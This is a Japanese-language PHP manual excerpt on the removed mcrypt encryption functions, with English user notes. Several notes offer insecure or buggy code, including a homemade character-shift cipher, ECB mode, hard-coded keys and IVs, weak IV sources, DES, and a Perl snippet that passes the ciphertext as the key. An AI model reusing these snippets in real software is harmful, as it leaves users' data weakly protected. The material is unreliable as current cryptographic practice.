Please note that if the strlen($ky)>16 then this function will not be compatible.
vincent at verbrugh dot nl 01-Mar-2006 01:55
If you plan to use Mcrypt Encryption to store encrypted data (e.g. passwords) in a (MySQL) database make sure to set the column to BLOB rather than VARCHAR. Otherwise the data may change which can give unexpected results if you decrypt the value.
Jerry Hathaway 16-Feb-2006 10:23
After benchmarking AES in 256-bit operation, I've concluded that CBC is far faster than OFB.  Using a 14.9 MiB file, on average...

Encrypt in CBC:   1.9 seconds
Encrypt in OFB:   45.7 seconds (same as CFB)
Just reading the file:  ~.53 seconds

After some research, I've concluded that OFB and CFB are slightly more secure than CBC, however I believe the performance difference to be due to an implementation issue.

As a side note on ECB:  As stated in the wiki linked to below, ECB is wholly inadequate.  It not use an IV (whether it was supplied ot MCrypt or not), meaning the same key and plaintext always produce the same ciphertext and it doesn't hide patterns.  The site shows an excellent example of this.

Very useful info:
http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation
triptripon at gmail dot com 05-Feb-2006 03:28
Regarding storing the result on a postgres DB that uses Unicode (follow up to a post below).
You don't need to change the DB's encoding to ASCII.
Simply use BASE64 to encode the result, it's perfectly safe.
use base64_decode before you decrypt.
-- Tomer Levinboim
coz AT metamule D0T com 04-Nov-2005 05:15
If you're going to encrypt data with something like this and store it in postgres.

<?php
function encrypt($string, $key){
        $result = '';
        for($i=1; $i<=strlen($string); $i++){
            $char = substr($string, $i-1, 1);
            $keychar = substr($key, ($i % strlen($key))-1, 1);
            $char = chr(ord($char)+ord($keychar));
            $result.=$char;
        }
        return $result;
    }
?>

Make sure when you create your database to set the encoding to SQL_ASCII because you won't be able to store this data in a database that uses UNICODE
joseph-at-digiweb-dot-net-dot-nz 30-Oct-2005 05:22
A further note for those doing interop between PHP and Java:

If you're using the BouncyCastle library on the Java side, then you can use the ZeroBytePadding mode now available in it. Mcrypt pads the data with Nulls rather than spaces....

I've sucessfully done interop using Blowfish/CBC/ZeroBytePadding between PHP and Java this way.
paul dot lewis at absolutegenius dot co dot uk 13-Jul-2005 08:33
I've spent the majority of the day attempting to get mcrypt to work under IIS6 with Windows Server 2003 (Web Edition) and PHP 5.0.4

There seems to be some incompatability with enabling certain extensions (mcrypt being one) when you are running PHP as ISAPI in this environment.

The way to solve the problem (the error will be that it cannot load php_mcrypt.dll - access is denied) is to run in CGI. While this isn't supposed to be as good performance wise, if you need the mcrypt support (or Oracle support, too, I believe) then this is the only way I've found to do it.
Jurgen Schwietering 23-Nov-2004 01:20
Attention when using keys longer than the actual key size (i.e. 160 bit instead of 128 bit).

It will work inbetween PHP scripts, but might cause problems when using openssl or other packages with this integration of mcrypt. Cut them always to the supported size (mcrypt_enc_get_key_size) to avoid sleepless hours.
groundzero at zuavra dot net 09-Jan-2004 05:08
If you've ever compiled PHP from source (any version) you may be familiar with the [in]famous MCRYPT_BLOWFISH_128 compilation error that appears when you attempt to compile --with-mcrypt. It occurs often on Debian but not only there. The problem: during compilation, the PHP configure script always assumes that libmcrypt has been built in conjunction with libltdl. Whenever that is not the case, PHP compilation will fail later saying certain headers (such as the above blowfish example) are missing from mcrypt.h (which is misleading, they're not supposed to be there nor looked after if libltdl was properly involved). Solution: make sure your libmcrypt was linked against libltdl before you even start configuring PHP. You can check by running 'ldd lybmcrypt.so' and verifying that libltdl appears in the output. libltdl can be found in libltld[3][-dev] on Debian or in libtool-libs on Red Hat.
simms 03-Oct-2003 02:03
DEBIAN users: avoid mcrypt installation headaches.
to add mcrypt support to an existing php installation, get root and run

apt-get install php4-mcrypt

restart your webserver, and voila.
steve@itemfront dot ltd dot uk 29-Sep-2003 05:17
Just spent a while getting mcrypt support working with php. Used libmcrypt version 2.5.7 with php 4.3.3. Out of the box it just won't work. Configure as follows:

libmcrypt:

  ./configure --disable-posix-threads --enable-dynamic-loading

php: ( as you can see, it's built for a SunONE server, but that's the easy bit to configure! )

./configure  --with-nsapi=/usr/iplanet/servers --enable-sigchld --with-ldap --with-zlib-dir=/usr/lib --with-mcrypt=<srcdir>/libmcrypt-2.5.7

hth, steve
herowekker at hotmail dot com 31-Jul-2003 05:55
mcrypt_ecb with base64_decode gave some problems, i found out that it had to be chopped to work:

<?php
chop(mcrypt_ecb(MCRYPT_BLOWFISH,$key,base64_decode($input),MCRYPT_DECRYPT));
?>
scott at boothcreek dot com 28-Mar-2002 01:28
If you are using ECB mode to encrypt it does not seem to use the iv (initialization vector) for much of anything, given the same key it will always decrypt it no matter what the iv is.  If you use CBC mode you must decrypt with the same iv that you encrypted with.

 If you use a different iv before decrypting, your decrypt will not work.  IMHO it seems better to use CBC mode than ECB as ECB will always encrypt to the same cipher text given the same plain text  (leaving you open to know plaintext attacks).  CBC uses the random iv which means text encrypts to different things.  You probably could get the same effect from using random keys in ECB mode.

Read that in the Schneier book - Applied Cryptography (ISBN 0-471-11709-9)  This book is a must for anyone seriously using any type of encryption.
pawelNOSPAM at rsc dot pl 02-Aug-2001 06:37
If you compiled mcrypt and php without problem, but phpinfo() shows there are no supported ciphers and modes, try to change mode to 755 on libdirs (/usr/local/libmcrypt, /usr/local/libcrypt).
mountie at paygate dot net 10-Feb-2000 05:21
the encrypted result data maybe binary data and It make errors in sql query.
so use the base64_encode/base64_decode function with mcrypt()
try below

<?php
base64_encode(mcrypt_ecb(MCRYPT_BLOWFISH,$key,$input,MCRYPT_ENCRYPT));

mcrypt_ecb(MCRYPT_BLOWFISH,$key,base64_decode($input),MCRYPT_DECRYPT);
?>


CBC モードでデータを暗号化/復号する

  • ≪ Mcrypt 関数
  • mcrypt_cfb ≫
  • PHP Manual
  • Mcrypt 関数
  • CBC モードでデータを暗号化/復号する

mcrypt_cbc

(PHP 4, PHP 5)

mcrypt_cbc — CBC モードでデータを暗号化/復号する

警告

この関数は PHP 5.5.0 で 非推奨 となり、 PHP 7.0.0 で 削除 されました。

この関数の代替として、これらが使えます。

  • mcrypt_decrypt()
  • mcrypt_encrypt()

説明

mcrypt_cbc ( int $cipher , string $key , string $data , int $mode , string $iv = ? ) : string
mcrypt_cbc ( string $cipher , string $key , string $data , int $mode , string $iv = ? ) : string

最初のプロトタイプは libmcrypt 2.2.x とリンクした場合、2 番目は、 libmcrypt 2.4.x とリンクした場合のものです。 mode は MCRYPT_ENCRYPT あるいは MCRYPT_DECRYPT のいずれかです。

User Contributed Notes

Bubba at hines57 dot com 22-Jul-2012 04:59
The PERL libraries have changed a little bit and getting PHP and PERL to mcrypt together can be confusing, so here is a current example;

PHP
===
<?php
$string = 'Some Secret thing I want to encrypt';
$iv = '12345678';
$passphrase = '8chrsLng';

$encryptedString = encryptString($string, $passphrase, $iv);
// Expect: 7DjnpOXG+FrUaOuc8x6vyrkk3atSiAf425ly5KpG7lOYgwouw2UATw==

function encryptString($unencryptedText, $passphrase, $iv) {
  $enc = mcrypt_encrypt(MCRYPT_BLOWFISH, $passphrase, $unencryptedText, MCRYPT_MODE_CBC, $iv);
  return base64_encode($enc);
}
?>

PERL
====
$encryptedString = '7DjnpOXG+FrUaOuc8x6vyrkk3atSiAf425ly5KpG7lOYgwouw2UATw==';
$iv = '12345678';
$passphrase = '8chrsLng';

$string = &decryptPhpEncrypted $encryptedString, $passphrase, $iv;
# Expect: Some Secret thing I want to encrypt

sub decryptPhpEncrypted() {
  my ($encryptedString, $passphrase, $iv) = @_;
  my $keysize = length($passphrase);
  use Crypt::CBC;
  $cipher = Crypt::CBC->new( {'key' => $encryptedString,
                              'cipher'=> 'Blowfish',
                              'iv' => $iv,
                              'keysize' => $keysize,
                              'regenerate_key' => 0,
                              'padding' => 'null',
                              'prepend_iv' => 0});

  return $cipher->decrypt($encryptedString);
}
dafuk at dafuk dot co dot il 25-Apr-2012 11:20
if you use blowfish and somehow when you compare strings before and after it was  (usually when it's shorter than 8 or 16 bytes) you might notice the difference, it comes out that this function does not remove padding, as a result you get a bunch of nulls at the end.

use
$decrypted = rtrim($decrypted,"\0");
to fix it
Othman 16-May-2009 09:56
The following code is to
encrypt-->encode
decode-->decrypt

<?php
$stuff="String to enc/enc/dec/dec =,=,";
$key="XiTo74dOO09N48YeUmuvbL0E";

function nl() {
    echo "<br/> \n";
}
$iv = mcrypt_create_iv (mcrypt_get_block_size (MCRYPT_TripleDES, MCRYPT_MODE_CBC), MCRYPT_DEV_RANDOM);

// Encrypting
function encrypt($string, $key) {
    $enc = "";
    global $iv;
    $enc=mcrypt_cbc (MCRYPT_TripleDES, $key, $string, MCRYPT_ENCRYPT, $iv);

  return base64_encode($enc);
}

// Decrypting
function decrypt($string, $key) {
    $dec = "";
    $string = trim(base64_decode($string));
    global $iv;
    $dec = mcrypt_cbc (MCRYPT_TripleDES, $key, $string, MCRYPT_DECRYPT, $iv);
  return $dec;
}

$encrypted = encrypt($stuff, $key);
$decrypted = decrypt($encrypted, $key);

echo "Encrypted is ".$encrypted . nl();
echo "Decrypted is ".$decrypted . nl();
?>

Notes on the result
-o running the script from the command line 1 time
    php script.php works correct
-o if i ran the script in a loop i.e.

#!/bin/bash
for x in `seq 100`
do
        echo $x
        php script.php >> LOG.text
        sleep 1

done
it gets slower after the 10th time
+ inconsistent output
sometimes correct some with encrypted characters at the end of the decrypted string

-o Firefox on Linux it decrypts to the original string but appends
    some encryption at the end of the decrypted sting
-o running the script on the browser from windows on Firefox,
    Google Chrome, IE7 works fine for just few times
    "refresh every few seconds"
    if refresh fast it doesn't work correctly,
    some times returns the decrypted as encrypted!
    some times returns mix of encrypted & decrypted

I thought if sharing that test for those functions might be
useful for some body


CFB モードでデータを暗号化/復号する

  • ≪ mcrypt_cbc
  • mcrypt_create_iv ≫
  • PHP Manual
  • Mcrypt 関数
  • CFB モードでデータを暗号化/復号する

mcrypt_cfb

(PHP 4, PHP 5)

mcrypt_cfb — CFB モードでデータを暗号化/復号する

警告

この関数は PHP 5.5.0 で 非推奨 となり、 PHP 7.0.0 で 削除 されました。

この関数の代替として、これらが使えます。

  • mcrypt_decrypt()
  • mcrypt_encrypt()

説明

mcrypt_cfb ( int $cipher , string $key , string $data , int $mode , string $iv ) : string
mcrypt_cfb ( string $cipher , string $key , string $data , int $mode , string $iv = ? ) : string

最初のプロトタイプは libmcrypt 2.2.x とリンクした場合、2 番目は、 libmcrypt 2.4.x とリンクした場合のものです。 mode は MCRYPT_ENCRYPT あるいは MCRYPT_DECRYPT のいずれかです。

User Contributed Notes

There are no user contributed notes for this page.


Creates an initialization vector (IV) from a random source

  • ≪ mcrypt_cfb
  • mcrypt_decrypt ≫
  • PHP Manual
  • Mcrypt 関数
  • Creates an initialization vector (IV) from a random source

mcrypt_create_iv

(PHP 4, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_create_iv — Creates an initialization vector (IV) from a random source

警告

この関数は PHP 7.1.0 で 非推奨 となり、 PHP 7.2.0 で削除 されました。

この関数の代替として、これらが使えます。

  • random_bytes()

説明

mcrypt_create_iv ( int $size , int $source = MCRYPT_DEV_URANDOM ) : string

Creates an initialization vector (IV) from a random source.

The IV is only meant to give an alternative seed to the encryption routines. This IV does not need to be secret at all, though it can be desirable. You even can send it along with your ciphertext without losing security.

パラメータ

size

The size of the IV.

source

The source of the IV. The source can be MCRYPT_RAND (system random number generator), MCRYPT_DEV_RANDOM (read data from /dev/random) and MCRYPT_DEV_URANDOM (read data from /dev/urandom). Prior to 5.3.0, MCRYPT_RAND was the only one supported on Windows.

Note that the default value of this parameter was MCRYPT_DEV_RANDOM prior to PHP 5.6.0.

注意: Note that MCRYPT_DEV_RANDOM may block until more entropy is available.

返り値

Returns the initialization vector, or false on error.

例

例1 mcrypt_create_iv() Example

<?php
    $size = mcrypt_get_iv_size(MCRYPT_CAST_256, MCRYPT_MODE_CFB);
    $iv = mcrypt_create_iv($size, MCRYPT_DEV_RANDOM);
?>

参考

  • » http://www.ciphersbyritter.com/GLOSSARY.HTM#IV
  • » http://www.quadibloc.com/crypto/co0409.htm
  • Chapter 9.3 of Applied Cryptography by Schneier (ISBN 0-471-11709-9)
  • random_bytes() - 暗号論的に安全な、疑似ランダムなバイト列を生成する

User Contributed Notes

wschalle at gmail dot com 01-May-2015 02:21
hans at illis dot nl's demonstration code is incorrect. In the loop, he uses:

$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size ($td), MCRYPT_RAND);

When it should actually be:

$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size ($td), MCRYPT_DEV_URANDOM);

This produces consistent results on Windows.
joseph dot t dot fallon at gmail dot com 10-Dec-2014 07:32
Block ciphers, at their core, are a pair of transformation algorithms, called transforms. One encrypts, one decrypts - in some cases the algorithms are one and the same, but that's not important. A block transform takes a fixed-length block of plaintext, transforms it using a secret key of some chosen size, and produces an identical-length block of ciphertext. Or, of course, vice versa (decryption).

The security model of a block cipher is, simplistically at least, defined to be "if you encrypt one block of plaintext with a randomly chosen key, it will be computationally infeasible for an attacker with knowledge of only the ciphertext (i.e. he does not know the key) to discover information about the contents of the plaintext". The reality is slightly different - there are also clauses around knowing part of the plaintext and not being able to discover any more of it - but that's another story.

Once you start encrypting more than one block of plaintext using the same block transform and the same key, all bets are off. In the Electronic Codebook (ECB) cipher mode, each block of plaintext is independently transformed using the same key. This leads to a problem: identical plaintext blocks produce identical ciphertext blocks, when the same key is used. This means that "patterns" in the data can be seen, especially in data formats that have repeating patterns or long sequences of identical data. This is best described visually, with an ECB-encrypted bitmap. See the Wikipedia article on ECB for a demonstration of this.
Mahn 24-Aug-2014 12:50
Specify MCRYPT_RAND in the second parameter if this function randomly hangs in your requests.
Graham 16-Mar-2014 11:35
In relation to all of the crypto "advice" seen here, my suggestion is that you ignore most of it. Some of it is good, some of it is bad, but most of it skips the critical issues.

I had hoped to write out a nice long explanation, but PHP's commenting system tells me my essay is too long. Instead I will say this:

You should use CBC, with a randomly chosen IV that is unique per key, and you should transmit that IV in the clear along with your ciphertext. You should also perform an authenticity check of that entire data blob, using something like HMAC-SHA256, with another independent key.

Here's the full-text of what I was going to write: http://pastebin.com/sN6buivY

If you're interested in this stuff, or just want more information, check out the Wikipedia articles around block cipher modes, block ciphers, HMAC, etc.

I also suggest reading Practical Cryptography by Bruce Schneier, as well as Cryptography Engineering by Niels Ferguson, both of which are very easy-to-digest books on practical cryptography.
nils at nm dot cx 19-Jun-2012 12:26
If you use /dev/random you need a well filled entropy pool or the application will block until enough good entropy comes available
hans at llis dot nl 29-Apr-2012 10:01
This does NOT generate randomly distributed IV's on all systems and therefore poses a big security risk. Using a script (based on the one that Alex Khimch's posted on the rand() page) one can easily check this:

<?php

$td = mcrypt_module_open (MCRYPT_RIJNDAEL_256, "", MCRYPT_MODE_CBC, "");
$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size ($td), MCRYPT_DEV_RANDOM);

// header("Content-type: image/png");
$img = imagecreatetruecolor(255,255);

$ink = imagecolorallocate($img,255,255,255);
for($i=0;$i<255;$i++) {
  for($j=0;$j<255;$j++) {
  $twobytes = substr ($iv, 0, 2);
  $iv = substr ($iv, 2);
  if (!strlen ($iv)) $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size ($td), MCRYPT_RAND);

  imagesetpixel($img, ord($twobytes[0]), ord($twobytes[1]), $ink);
  }
}

imagepng($img);
imagedestroy($img);

?>

The resulting image should show random noise, but on the windows systems I tested (running PHP 5.3.x) it showed very distinct patterns.
Matthew 25-Sep-2008 07:09
I encrypt a few items on a page in a project i am working on and I have found the IV create function to introduce huge delays in rendering the page too (I noticed someone else here had this problem).

It's quite common for a 4 second render time for what should be a snappy site. I would recommend that if speed is essential that an alternative method be used to create your IV (such as the one below if you feel it secure enough).

After using an alternative IV creation method my page went from a 4 second render to a 0.01 second render time.
Chris 05-Nov-2006 03:07
>First, the IV should be random and variable. The whole >point of it is to ensure that the same plaintext does not >encrypt to the same ciphertext every time. You most >certainly do lose security if the IV is constant or public.

Wrong, Wrong WRONG! The initialization vector is ALLOWED to be PUBLIC! It is generally sent along with the ciphertext, UNENCRYPTED.

>The ciphertext should be E(IV | plaintext, key)

Wrong again! The initialization vector is NOT prepended to the plaintext before encryption. The IV is used to seed the feedback system! (which is why you don't need one in ECB mode - there is no feedback)

>Second, the IV should not be part of the decryption >parameters at all. You should be able to decrypt the cipher >text, throw away the initial vector at the front w/o even >reading it, and have your plaintext:

Nope. You need to seed the feedback mechanism during decryption to the SAME state as it was seeded during encryption. This means using the SAME IV!
kkaiser at dataresolutions dot com 11-Jul-2006 01:26
After profiling a rather large, dynamic website I maintain to determine the cause of intermittent freezing in execution, I found that calls to mcrypt_create_iv() using MCRYPT_DEV_RANDOM as the source consistently halted execution for anywhere from 0.2 to ~12 seconds per call, ironically at random. I'm making the assumption that the halts were caused by insufficient random input being currently available in /dev/random due to its intended function to block until enough random input is provided back to the device. I've found it to be sufficient for my needs to use a modified version of the alt_mcrypt_create_iv() function found below.

Although untested, I assume using MCRYPT_DEV_URANDOM or a combination of MCRYPT_DEV_RAND with srand() would've solved the problem as well; I found out after the fact that /dev/urandom's intended function is to seamlessly provide cryptographically secure output from the random number generator when the /dev/urandom buffer was empty, and MCRYPT_DEV_RAND would simply use the same rand() function as alt_mcrypt_create_iv().

-Kevin Kaiser
Anonymous 17-Oct-2005 09:01
At:
edwardzyang at thewritingpot dot com
19-Jul-2005 10:06

This is because of the fact, that (like described in the manual above) this function does NOT reseed the random number generator, in contrary to rand(). Use srand() like suggested above to get correct IVs.
tim at indigopixel dot com 17-Mar-2004 04:32
From http://www.ciphersbyritter.com/GLOSSARY.HTM#IV (linked to above):

"While it is often said that IV values need only be random-like or unpredictable, and need not be confidential, in the case of CBC mode, that advice can lead to man-in-the-middle attacks on the first plaintext block. If a MITM opponent knows the usual content of the first block, they can change the IV to manipulate that block (and only that block) to deliver a different address, or different dollar amounts, or different commands, or whatever. And while the conventional advice is to use a MAC at a higher level to detect changed plaintext, that is not always desirable or properly executed. But the CBC first-block problem is easily solved at the CBC level simply by enciphering the IV and otherwise keeping it confidential, and that can be reasonable even when a MAC will be used later."
robert at peakepro dot com 03-Mar-2004 12:25
It is important to note that all cipher modes except ecb require the same IV to be used in decryption as was used in encryption.

You need to pass the key *and* the IV to your decrypt function. Initializing a new IV in the decrypt routine will not work.

Since, "you even can send [the IV] along with your ciphertext without  loosing security," a nice way to handle this is to prepend your IV to your ciphertext. Since the IV is fixed-width, you can then easily recover the IV and original ciphertext using mcrypt_get_iv_size() and substr().

Here is an example:

<?PHP
function my_encrypt($string,$key) {
   srand((double) microtime() * 1000000); //for sake of MCRYPT_RAND
   $key = md5($key); //to improve variance
  /* Open module, and create IV */
  $td = mcrypt_module_open('des', '','cfb', '');
  $key = substr($key, 0, mcrypt_enc_get_key_size($td));
  $iv_size = mcrypt_enc_get_iv_size($td);
  $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
  /* Initialize encryption handle */
   if (mcrypt_generic_init($td, $key, $iv) != -1) {

      /* Encrypt data */
      $c_t = mcrypt_generic($td, $string);
      mcrypt_generic_deinit($td);
      mcrypt_module_close($td);
       $c_t = $iv.$c_t;
       return $c_t;
   } //end if
}

function my_decrypt($string,$key) {
   $key = md5($key); //to improve variance
  /* Open module, and create IV */
  $td = mcrypt_module_open('des', '','cfb', '');
  $key = substr($key, 0, mcrypt_enc_get_key_size($td));
  $iv_size = mcrypt_enc_get_iv_size($td);
  $iv = substr($string,0,$iv_size);
  $string = substr($string,$iv_size);
  /* Initialize encryption handle */
   if (mcrypt_generic_init($td, $key, $iv) != -1) {

      /* Encrypt data */
      $c_t = mdecrypt_generic($td, $string);
      mcrypt_generic_deinit($td);
      mcrypt_module_close($td);
       return $c_t;
   } //end if
}
// to test:
//print my_decrypt(my_encrypt("Hello, world.","foo"),"foo");
?>
fandelem at hotmail dot com 06-Mar-2002 03:59
note: if you are experiencing a problem about complaining that the second parameter has to be a 'long' and you are giving a 'string' (for me, it was using MCRYPT_URANDOM) you might want to try MCRYPT_DEV_URANDOM :)


Decrypts crypttext with given parameters

  • ≪ mcrypt_create_iv
  • mcrypt_ecb ≫
  • PHP Manual
  • Mcrypt 関数
  • Decrypts crypttext with given parameters

mcrypt_decrypt

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_decrypt — Decrypts crypttext with given parameters

警告

この関数は PHP 7.1.0 で 非推奨となり、PHP 7.2.0 で削除 されました。この関数に頼らないことを強く推奨します。

説明

mcrypt_decrypt ( string $cipher , string $key , string $data , string $mode , string $iv = ? ) : string|false

Decrypts the data and returns the unencrypted data.

パラメータ

cipher

MCRYPT_暗号名 定数のいずれか、 あるいはアルゴリズム名をあらわす文字列。

key

The key with which the data was encrypted. If the provided key size is not supported by the cipher, the function will emit a warning and return false

data

The data that will be decrypted with the given cipher and mode. If the size of the data is not n * blocksize, the data will be padded with '\0'.

mode

定数 MCRYPT_MODE_モード名、あるいは文字列 "ecb", "cbc", "cfb", "ofb", "nofb" ,"stream" のいずれか。

iv

CBC, CFB, OFB モードおよび STREAM モードのいくつかのアルゴリズムの初期化の際に使用されます。 指定した IV のサイズがそのモードでサポートされていない場合、 あるいは IV を必要とするモードで IV が指定されなかった場合は、 この関数は警告を発して false を返します。

返り値

Returns the decrypted data as a string 失敗した場合に false を返します.

変更履歴

バージョン | 説明
5.6.0 | Invalid key and iv sizes are no longer accepted. mcrypt_decrypt() will now throw a warning and return false if the inputs are invalid. Previously keys and IVs were padded with '\0' bytes to the next valid size.

参考

  • mcrypt_encrypt() - 指定したパラメータでプレーンテキストを暗号化する

User Contributed Notes

gmmarco at outlook dot my 28-Nov-2017 05:43
Look at http://php.net/manual/en/function.openssl-decrypt.php for a replacement.

Supports PHP 5 >= 5.3.0, PHP 7
pnz dot r00t at yandex dot ru 29-Feb-2016 11:44
When i using this function i find some problem, with adding additional binary symbols in decode message.
$sDecrypt - ≪2433091≫
$sDecrypt strlen - 16 (before trim)
$sDecrypt - ≪2433091≫
$sDecrypt strlen - 7 (after trim)
At local PC this problem solved by using trim/trim, but if I send my encrypt message to sever, and try encrypt them, I see that my message is not 16 symbols, as it was in my local pc, it is 32 sybmols, after encode. And trim function not working. I look at symbols code and what I see
    50
    52
    51
    51
    48
    57
    49
    0
    0
    0
    0
    0
    0
    0
    0
    0
    10
    158
    112
    183
    154
    27
    95
    85
    42
    35
    95
    54
    227
    41
    179
    77
After "tabulation symbols" I get some junk symbols, and  I solve this problems like this.
After mcrypt_decrypt I use this code
$plaintext_dec = substr($plaintext_dec, 0, strpos($plaintext_dec, "\0"));
I think it is not best resolution for this problem, but I solve my problem :)
artaxerxes2 at iname dot com 21-May-2013 04:17
To decrypt data coming from MySQL's AES_ENCRYPT function:

<?php

function mysql_aes_key($key)
{
    $new_key = str_repeat(chr(0), 16);
    for($i=0,$len=strlen($key);$i<$len;$i++)
    {
        $new_key[$i%16] = $new_key[$i%16] ^ $key[$i];
    }
    return $new_key;
}

function aes_decrypt($encrypted,$key)
{
    // if $encrypted is HEXed, then return it to binary
    $encrypted = pack('H*',$encrypted);

    $key = mysql_aes_key($key);
    return rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_128,$key,$encrypted,MCRYPT_MODE_ECB,''),"\x00..\x1F");
}

?>

adapted from the article "Replicating MySQL AES Encryption Methods With PHP" (dated 2012-05-20) found somewhere online.
beltrachi 30-Sep-2011 12:34
Caution, MCRYPT_RIJNDAEL_256 is not equivalent to AES_256.

The way to make RIJNDAEL be decrypted from AES with openssl is to use MCRYPT_RIJNDAEL_128 and padd the string to encrypt before encrypting with the follwing function:

<?php
function pkcs5_pad ($text, $blocksize) {
    $pad = $blocksize - (strlen($text) % $blocksize);
    return $text . str_repeat(chr($pad), $pad);
}
?>

On the decryption, the choosing of AES_256 or AES_128, etc. is based on the keysize used in the crypting. In my case it was a 128bit key so I used AES_128.
evangelion207 at hotmail dot com 17-Apr-2011 08:24
Be careful, sometimes mcrypt_decrypt return additional white spaces to the uncrypted string; use trim() for deleting them. I was like 2 hours searching the error and it was that..
Anonymous 24-Nov-2010 03:41
To remove PKCS7 padding:

<?php
    $decrypted = mdecrypt_generic($td, base64_decode($enc_auth_token));
    $dec_s = strlen($decrypted);
    $padding = ord($decrypted[$dec_s-1]);
    $decrypted = substr($decrypted, 0, -$padding);
?>
david at sickmiller dot com 02-Oct-2008 10:15
If you happen to be decrypting something encrypted in ColdFusion, you'll discover that its encrypt function apparently pads the plaintext with ASCII 4, the "end of transmission" character.

Building on eddiec's code, you can remove both nulls and EOTs with this:

<?php
    $retval = mcrypt_decrypt( ...etc ...);
    $retval = rtrim($retval, "\0\4");     // trim ONLY the nulls and EOTs at the END
?>
eddiec at stararcher dot com 13-Jul-2005 06:26
It appears that mcrypt_decrypt pads the *RETURN STRING* with nulls ('\0') to fill out to n * blocksize.  For old C-programmers, like myself, it is easy to believe the string ends at the first null.  In PHP it does not:

    strlen("abc\0\0") returns 5 and *NOT* 3
    strcmp("abc", "abc\0\0") returns -2 and *NOT* 0

I learned this lesson painfully when I passed a string returned from mycrypt_decrypt into a NuSoap message, which happily passed the nulls along to the receiver, who couldn't figure out what I was talking about.

My solution was:
<?php
    $retval = mcrypt_decrypt( ...etc ...);
    $retval = rtrim($retval, "\0");     // trim ONLY the nulls at the END
?>


非推奨: ECB モードでデータを暗号化/復号する

  • ≪ mcrypt_decrypt
  • mcrypt_enc_get_algorithms_name ≫
  • PHP Manual
  • Mcrypt 関数
  • 非推奨: ECB モードでデータを暗号化/復号する

mcrypt_ecb

(PHP 4, PHP 5)

mcrypt_ecb — 非推奨: ECB モードでデータを暗号化/復号する

警告

この関数は PHP 5.5.0 で 非推奨 となり、 PHP 7.0.0 で 削除 されました。

この関数の代替として、これらが使えます。

  • mcrypt_decrypt()
  • mcrypt_encrypt()

説明

mcrypt_ecb ( int $cipher , string $key , string $data , int $mode ) : string
mcrypt_ecb ( string $cipher , string $key , string $data , int $mode , string $iv = ? ) : string

最初のプロトタイプは libmcrypt 2.2.x とリンクした場合、2 番目は libmcrypt 2.4.x とリンクした場合です。 mode は MCRYPT_ENCRYPT あるいは MCRYPT_DECRYPT のいずれかとなります。

User Contributed Notes

There are no user contributed notes for this page.


Returns the name of the opened algorithm

  • ≪ mcrypt_ecb
  • mcrypt_enc_get_block_size ≫
  • PHP Manual
  • Mcrypt 関数
  • Returns the name of the opened algorithm

mcrypt_enc_get_algorithms_name

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_enc_get_algorithms_name — Returns the name of the opened algorithm

警告

この関数は PHP 7.1.0 で 非推奨となり、PHP 7.2.0 で削除 されました。この関数に頼らないことを強く推奨します。

説明

mcrypt_enc_get_algorithms_name ( resource $td ) : string

This function returns the name of the algorithm.

パラメータ

td

The encryption descriptor.

返り値

Returns the name of the opened algorithm as a string.

例

例1 mcrypt_enc_get_algorithms_name() example

<?php
$td = mcrypt_module_open(MCRYPT_CAST_256, '', MCRYPT_MODE_CFB, '');
echo mcrypt_enc_get_algorithms_name($td). "\n";

$td = mcrypt_module_open('cast-256', '', MCRYPT_MODE_CFB, '');
echo mcrypt_enc_get_algorithms_name($td). "\n";
?>

上の例の出力は以下となります。

CAST-256
CAST-256

User Contributed Notes

php-manual2 at omershenker dot net 13-May-2003 03:44
For some reason this function (but not mcrypt_list_algorithms()) returns each element in the array twice. If you have this problem, try array_unique(mcrypt_list_algorithms()).


Returns the blocksize of the opened algorithm

  • ≪ mcrypt_enc_get_algorithms_name
  • mcrypt_enc_get_iv_size ≫
  • PHP Manual
  • Mcrypt 関数
  • Returns the blocksize of the opened algorithm

mcrypt_enc_get_block_size

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_enc_get_block_size — Returns the blocksize of the opened algorithm

警告

この関数は PHP 7.1.0 で 非推奨となり、PHP 7.2.0 で削除 されました。この関数に頼らないことを強く推奨します。

説明

mcrypt_enc_get_block_size ( resource $td ) : int

Gets the blocksize of the opened algorithm.

パラメータ

td

The encryption descriptor.

返り値

Returns the block size of the specified algorithm in bytes.

User Contributed Notes

There are no user contributed notes for this page.


オープンされたアルゴリズムの IV の大きさを返す

  • ≪ mcrypt_enc_get_block_size
  • mcrypt_enc_get_key_size ≫
  • PHP Manual
  • Mcrypt 関数
  • オープンされたアルゴリズムの IV の大きさを返す

mcrypt_enc_get_iv_size

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_enc_get_iv_size — オープンされたアルゴリズムの IV の大きさを返す

警告

この関数は PHP 7.1.0 で 非推奨となり、PHP 7.2.0 で削除 されました。この関数に頼らないことを強く推奨します。

説明

mcrypt_enc_get_iv_size ( resource $td ) : int

この関数は、暗号化記述子で指定したアルゴリズムの iv の大きさを バイト単位で返します。IV は、cbc、cfb、ofbモード およびストリームモードのいくつかのアルゴリズムで使用されます。

パラメータ

td

暗号化記述子。

返り値

この関数は、暗号化記述子で指定したアルゴリズムの iv の大きさを バイト単位で返します。 この関数が '0' を返す場合、IV は そのアルゴリズムでは無視されます。

User Contributed Notes

There are no user contributed notes for this page.


オープンされたモードでサポートされる最大キー長を返す

  • ≪ mcrypt_enc_get_iv_size
  • mcrypt_enc_get_modes_name ≫
  • PHP Manual
  • Mcrypt 関数
  • オープンされたモードでサポートされる最大キー長を返す

mcrypt_enc_get_key_size

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_enc_get_key_size — オープンされたモードでサポートされる最大キー長を返す

警告

この関数は PHP 7.1.0 で 非推奨となり、PHP 7.2.0 で削除 されました。この関数に頼らないことを強く推奨します。

説明

